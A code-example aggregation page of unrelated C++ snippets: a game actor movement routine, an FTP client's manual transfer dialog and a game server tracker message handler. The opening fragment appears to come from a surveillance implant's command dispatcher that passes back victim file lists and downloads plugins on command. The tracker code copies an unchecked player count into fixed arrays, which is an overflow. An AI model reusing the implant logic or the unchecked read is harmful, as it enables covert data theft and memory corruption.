		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SecretCfg,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE);
		break;
	case COMMAND_CHAJIAN_FORMIQU: // 
		LOG((LEVEL_INFO,"COMMAND_CHAJIAN_FORMIQU:%d\n",nSize));

	//	printf((char*)(lpBuffer + 1));
		m_pObjEvidence->PassBackFileList((char*)(lpBuffer + 1),0);
		
		//		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN_MIQU,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE);
//		SleepEx(110,0); // 传递参数用
		break;

	case TOKEN_EVIDENCE_SREECN_ARG: // 下载插件
		LOG((LEVEL_INFO,"TOKEN_EVIDENCE_SREECN_ARG:%d\n",nSize));
		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_CHAJIAN_MIQU,(LPVOID)(lpBuffer + 1), 0, NULL, TRUE);
		SleepEx(110,0); // 传递参数用
		break;

	case COMMAND_PLUGIN_REQUEST:	// 2.0插件下载	
		LOG((LEVEL_INFO,"收到COMMAND_PLUGIN_REQUEST,buff大小:%d(%x) .\n",nSize,nSize));

		cmd=new cmd_plugin;

		if (!cmd)
		{
			break;
		}
		cmd->Clientsocket=m_pClient;
		cmd->nSize=nSize-1;
		cmd->lpBuffer=lpBuffer+1;


		m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Plugin_Request,(LPVOID)(cmd), 0, NULL, TRUE);
		break;

// 		{
// 			++lpBuffer;
// 			--nSize;		
// 			
// 			// 每次都应该设置一下,防止丢掉
// 			GLOBAL_PLUGSERVER->SetSocket(m_pClient);			
// 			int ret = GLOBAL_PLUGSERVER->OnPluginRequest(lpBuffer,nSize);
// 			if( ret != 0 )
// 			{
// 				LOG((LEVEL_WARNNING,"处理插件下载命令错,ret=%d",ret));
// 			}			
// 			GLOBAL_PLUGSERVER->ProcessConfig();
// 
// 			break;	
// 			
// 		}
	case COMMAND_ONLINE_ERROR:
		{

			LOG((LEVEL_INFO,"上线时发送错误.\n"));		
			m_pClient->Disconnect();
			break;
		
		}
	default:
		LOG((LEVEL_ERROR,"UNKNOWN COMMAND:%d(%x)\n",lpBuffer[0],lpBuffer[0]));
		break;
		
	}	
}
コード例 #14
0
ファイル: ExternalActor.cpp プロジェクト: Rincevent/lbanet
/***********************************************************
do all check to be done when idle
***********************************************************/
void ExternalActor::ProcessMovable(double tnow, float tdiff, 
								ScriptEnvironmentBase* scripthandler)
{
	boost::shared_ptr<PhysicalObjectHandlerBase> physo = _character->GetPhysicalObject();
	if(!physo)
		return;


	float admx=0, admy=0, admz=0;
	boost::shared_ptr<ActorUserData> udata = physo->GetUserData();
	if(udata)
		udata->GetAddedMove(admx, admy, admz);


	admy = (-0.05f * tdiff); //TODO - make the gravity configurable?


	// get additional speed in case we are on lift
	if(_attachedactor)
	{
		float addspeedX=0, addspeedY=0, addspeedZ=0;

		boost::shared_ptr<PhysicalObjectHandlerBase> attchedphys = _attachedactor->GetPhysicalObject();
		if(attchedphys)
			attchedphys->GetLastMove(addspeedX, addspeedY, addspeedZ);
		
		admx+=addspeedX;
		admz+=addspeedZ;

		if(addspeedY <= 0)
		{
			admy += addspeedY;
			_attachedactor = boost::shared_ptr<DynamicObject>(); // dettach actor afterwards
		}
		else
		{
			//check if we are still on the actor
			if(physo->OnTopOff(attchedphys.get()))
			{
				admy = addspeedY;
			}
			else
			{
				_attachedactor = boost::shared_ptr<DynamicObject>(); // dettach actor
			}
		}
	}


	// move actor
	physo->Move(admx, admy, admz);



	// check for attached actor
	if(udata)
	{
		if(udata->GetTouchingGround())
		{
			std::vector<HitInfo> hitvec;
			udata->GetHittedActors(hitvec);
			for(size_t i=0; i< hitvec.size(); ++i)
			{
				HitInfo &hi = hitvec[i];
				if(hi.HitBottom)
				{
					if(scripthandler)
						_attachedactor = scripthandler->GetActor(hi.ActorObjType, hi.ActorId);
				}
			}
		}
	}


	// update server
	UpdateServer(tnow, tdiff);
}
コード例 #15
0
void CManualTransfer::OnOK(wxCommandEvent& event)
{
	if (!UpdateServer())
		return;

	bool download = XRCCTRL(*this, "ID_DOWNLOAD", wxRadioButton)->GetValue();

	bool start = XRCCTRL(*this, "ID_START", wxCheckBox)->GetValue();

	if (!m_pServer)
	{
		wxMessageBoxEx(_("You need to specify a server."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}

	wxString local_file = XRCCTRL(*this, "ID_LOCALFILE", wxTextCtrl)->GetValue();
	if (local_file == _T(""))
	{
		wxMessageBoxEx(_("You need to specify a local file."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}

	CLocalFileSystem::local_fileType type = CLocalFileSystem::GetFileType(local_file);
	if (type == CLocalFileSystem::dir)
	{
		wxMessageBoxEx(_("Local file is a directory instead of a regular file."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}
	if (!download && type != CLocalFileSystem::file && start)
	{
		wxMessageBoxEx(_("Local file does not exist."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}

	wxString remote_file = XRCCTRL(*this, "ID_REMOTEFILE", wxTextCtrl)->GetValue();

	if (remote_file == _T(""))
	{
		wxMessageBoxEx(_("You need to specify a remote file."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}

	wxString remote_path_str = XRCCTRL(*this, "ID_REMOTEPATH", wxTextCtrl)->GetValue();
	if (remote_path_str == _T(""))
	{
		wxMessageBoxEx(_("You need to specify a remote path."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}

	CServerPath path(remote_path_str, m_pServer->GetType());
	if (path.IsEmpty())
	{
		wxMessageBoxEx(_("Remote path could not be parsed."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}

	int old_data_type = COptions::Get()->GetOptionVal(OPTION_ASCIIBINARY);

	// Set data type for the file to add
	if (XRCCTRL(*this, "ID_TYPE_ASCII", wxRadioButton)->GetValue())
		COptions::Get()->SetOption(OPTION_ASCIIBINARY, 1);
	else if (XRCCTRL(*this, "ID_TYPE_BINARY", wxRadioButton)->GetValue())
		COptions::Get()->SetOption(OPTION_ASCIIBINARY, 2);
	else
		COptions::Get()->SetOption(OPTION_ASCIIBINARY, 0);

	wxString name;
	CLocalPath localPath(local_file, &name);

	if (name.empty())
	{
		wxMessageBoxEx(_("Local file is not a valid filename."), _("Manual transfer"), wxICON_EXCLAMATION);
		return;
	}

	m_pQueueView->QueueFile(!start, download,
		download ? remote_file : name,
		(remote_file != name) ? (download ? name : remote_file) : wxString(),
		localPath, path, *m_pServer, -1);

	// Restore old data type
	COptions::Get()->SetOption(OPTION_ASCIIBINARY, old_data_type);

	m_pQueueView->QueueFile_Finish(start);

	EndModal(wxID_OK);
}
コード例 #16
0
bool MMG_TrackableServer::HandleMessage(SvClient *aClient, MN_ReadMessage *aMessage, MMG_ProtocolDelimiters::Delimiter aDelimiter)
{
	MN_WriteMessage	responseMessage(2048);

	//
	// All dedicated sever packets require an authenticated connection, except
	// for the initial auth delimiter
	//
	auto server = FindServer(aClient);

	if (!server &&
		aDelimiter != MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_AUTH_DS_CONNECTION)
	{
		// Unauthed messages ignored
		return false;
	}

	// Handle all message types and disconnect the server on any errors
	switch(aDelimiter)
	{
		// Ping/pong handler
		case MMG_ProtocolDelimiters::MESSAGING_DS_PING:
		{
			DebugLog(L_INFO, "MESSAGING_DS_PING:");
			ushort protocolVersion;// MassgateProtocolVersion
			uint publicServerId;   // Server ID sent on SERVERTRACKER_SERVER_STARTED

			if (!aMessage->ReadUShort(protocolVersion))
				return false;

			if (!aMessage->ReadUInt(publicServerId))
				return false;

			//if (aProtocolVersion != MassgateProtocolVersion)
			//	return false;

			if (publicServerId != server->m_PublicId)
			{
				DisconnectServer(aClient);
				return false;
			}

			// Pong!
			responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::MESSAGING_DS_PONG);

			if (!aClient->SendData(&responseMessage))
				return false;
		}
		break;

		case MMG_ProtocolDelimiters::MESSAGING_DS_SET_METRICS:
		{
			DebugLog(L_INFO, "MESSAGING_DS_SET_METRICS:");

			uchar metricContext;
			uint metricCount;

			if (!aMessage->ReadUChar(metricContext) || !aMessage->ReadUInt(metricCount))
				return false;

			for (uint i = 0; i < metricCount; i++)
			{
				char key[256];
				char value[256];

				if (!aMessage->ReadString(key, ARRAYSIZE(key)))
					return false;

				if (!aMessage->ReadString(value, ARRAYSIZE(value)))
					return false;

				DebugLog(L_INFO, "Metric [%u]: %s -- %s", (uint)metricContext, key, value);
			}
		}
		break;

		case MMG_ProtocolDelimiters::MESSAGING_DS_INFORM_PLAYER_JOINED:
		{
			DebugLog(L_INFO, "MESSAGING_DS_INFORM_PLAYER_JOINED:");

			uint profileId;
			uint antiSpoofToken;

			if (!aMessage->ReadUInt(profileId) || !aMessage->ReadUInt(antiSpoofToken))
				return false;

#ifdef USING_MYSQL_DATABASE
			SvClient *player = SvClientManager::ourInstance->FindPlayerByProfileId(profileId);

			// if profileId not logged in, kick profileId
			if (!player)
			{
				DebugLog(L_INFO, "MESSAGING_DS_KICK_PLAYER:");
				responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::MESSAGING_DS_KICK_PLAYER);
				responseMessage.WriteUInt(profileId);

				if (!aClient->SendData(&responseMessage))
					return false;
			}
			else
			{
				//if antispooftoken does not match the generated token from ACCOUNT_AUTH_ACCOUNT_REQ, then kick profileId
				MMG_AuthToken *authtoken = player->GetToken();

				// TODO
				if (authtoken->m_TokenId != antiSpoofToken)
				{
					DebugLog(L_INFO, "MESSAGING_DS_KICK_PLAYER:");
					responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::MESSAGING_DS_KICK_PLAYER);
					responseMessage.WriteUInt(profileId);

					if (!aClient->SendData(&responseMessage))
						return false;
				}
			}
#endif
		}
		break;
		
		// List of banned words in chat
		case MMG_ProtocolDelimiters::MESSAGING_DS_GET_BANNED_WORDS_REQ:
		{
			DebugLog(L_INFO, "MESSAGING_DS_GET_BANNED_WORDS_REQ:");
		}
		break;

		// Initial message from any server that wants to connect to Massgate
		case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_AUTH_DS_CONNECTION:
		{
			DebugLog(L_INFO, "SERVERTRACKER_SERVER_AUTH_DS_CONNECTION:");

			ushort protocolVersion;// MassgateProtocolVersion
			uint keySequenceNumber;// See EncryptionKeySequenceNumber in MMG_AccountProtocol
			
			if (!aMessage->ReadUShort(protocolVersion))
				return false;
			
			if (!aMessage->ReadUInt(keySequenceNumber))
				return false;

			// Drop immediately if key not valid
			if (!AuthServer(aClient, keySequenceNumber, protocolVersion))
			{
				DebugLog(L_INFO, "Failed to authenticate server");
				return false;
			}

			// If a valid sequence was supplied, ask for the "encrypted" quiz answer. This is set to 0
			// if no cdkey is used (unranked).
			if (keySequenceNumber != 0)
			{
				responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_QUIZ_FROM_MASSGATE);
				responseMessage.WriteUInt(12345678);// Quiz seed

				if (!aClient->SendData(&responseMessage))
					return false;
			}
		}
		break;

		// Encrypted quiz answer response from the dedicated server when using a cdkey
		case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_QUIZ_ANSWERS_TO_MASSGATE:
		{
			DebugLog(L_INFO, "SERVERTRACKER_SERVER_QUIZ_ANSWERS_TO_MASSGATE:");

			// quizAnswer = quizSeed
			//
			// MMG_BlockTEA::SetKey(CDKeyEncryptionKey);
			// MMG_BlockTEA::Decrypt(&quizAnswer, 4);
			// quizAnswer = (quizAnswer >> 16) | 65183 * quizAnswer;
			// MMG_BlockTEA::Encrypt(&quizAnswer, 4);

			uint quizAnswer;
			if (!aMessage->ReadUInt(quizAnswer))
				return false;
		}
		break;

		case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_REPORT_PLAYER_STATS:
		{
			DebugLog(L_INFO, "SERVERTRACKER_SERVER_REPORT_PLAYER_STATS:");

			uint statCount;
			uint64 mapHash;
			MMG_Stats::PlayerMatchStats playerStats[100];
			uint profileIds[100];
			memset(profileIds, 0, sizeof(profileIds));

			time_t local_timestamp = time(NULL);
			uint datematchplayed = (uint)local_timestamp;

			if (!aMessage->ReadUInt(statCount) || !aMessage->ReadUInt64(mapHash))
				return false;

			DebugLog(L_INFO, "Number of player statistics to read from packet: %u", statCount);

			for (uint i = 0; i < statCount; i++)
			{
				if (!playerStats[i].FromStream(aMessage))
					return false;

				profileIds[i] = playerStats[i].m_ProfileId;
			}

			DebugLog(L_INFO, "Read Packet: OK");

			if (!MySQLDatabase::ourInstance->ProcessMatchStatistics(datematchplayed, statCount, playerStats))
			{
				DebugLog(L_INFO, "Error: ProcessMatchStatistics() failed");
				return false;
			}

			DebugLog(L_INFO, "Save Match Statistics: OK");

			if (!MySQLDatabase::ourInstance->BuildPlayerLeaderboard(datematchplayed))
			{
				DebugLog(L_INFO, "Error: BuildPlayerLeaderboard() failed");
				return false;
			}

			DebugLog(L_INFO, "Build Player Leaderboard: OK");
			
			if (!MySQLDatabase::ourInstance->CalculatePlayerRanks(statCount, profileIds))
			{
				DebugLog(L_INFO, "Error: CalculatePlayerRanks() failed");
				return false;
			}

			DebugLog(L_INFO, "Calculate Player Ranks: OK");

			if (!MySQLDatabase::ourInstance->InsertAcquaintances(datematchplayed, statCount, profileIds))
				return false;

			DebugLog(L_INFO, "Process Acquaintances: OK");
			
			DebugLog(L_INFO, "SERVERTRACKER_SERVER_REPORT_PLAYER_STATS: Completed Successfully");
		}
		break;

		// Broadcasted message when the very first map is loaded
		case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_STARTED:
		{
			DebugLog(L_INFO, "SERVERTRACKER_SERVER_STARTED:");

			MMG_ServerStartupVariables startupVars;
			if (!startupVars.FromStream(aMessage))
				return false;

			// Request to "connect" the active game server
			if (ConnectServer(server, aClient->GetIPAddress(), &startupVars))
			{
				// Tell SvClientManager
				aClient->SetIsServer(true);
				aClient->SetLoginStatus(true);
				aClient->SetTimeout(WIC_HEARTBEAT_NET_TIMEOUT);

				// Send back the assigned public ID
				responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_PUBLIC_ID);
				responseMessage.WriteUInt(server->m_PublicId);// ServerId

				if (!aClient->SendData(&responseMessage))
					return false;

				// Send back the connection cookie
				responseMessage.WriteDelimiter(MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_INTERNAL_AUTHTOKEN);
				responseMessage.WriteRawData(&server->m_Cookie, sizeof(server->m_Cookie));// myCookie
				responseMessage.WriteUInt(10000);// myConnectCookieBase

				if (!aClient->SendData(&responseMessage))
					return false;
			}
			else
			{
				DebugLog(L_INFO, "Failed to connect server");
				DisconnectServer(aClient);
			}
		}
		break;

		// Server heartbeat sent every X seconds
		case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_STATUS:
		{
			DebugLog(L_INFO, "SERVERTRACKER_SERVER_STATUS:");

			MMG_TrackableServerHeartbeat heartbeat;
			if (!heartbeat.FromStream(aMessage))
				return false;

			if (!UpdateServer(server, &heartbeat))
				return false;
		}
		break;

		// Map rotation cycle info
		case MMG_ProtocolDelimiters::SERVERTRACKER_SERVER_MAP_LIST:
		{
			DebugLog(L_INFO, "SERVERTRACKER_SERVER_MAP_LIST:");

			ushort mapCount;
			aMessage->ReadUShort(mapCount);

			for (int i = 0; i < mapCount; i++)
			{
				uint64 mapHash;
				wchar_t mapName[128];

				aMessage->ReadUInt64(mapHash);
				aMessage->ReadString(mapName, ARRAYSIZE(mapName));

				DebugLog(L_INFO, "%llX - %ws", mapHash, mapName);
			}
		}
		break;

		default:
			DebugLog(L_WARN, "Unknown delimiter %i", aDelimiter);
		return false;
	}

	return true;
}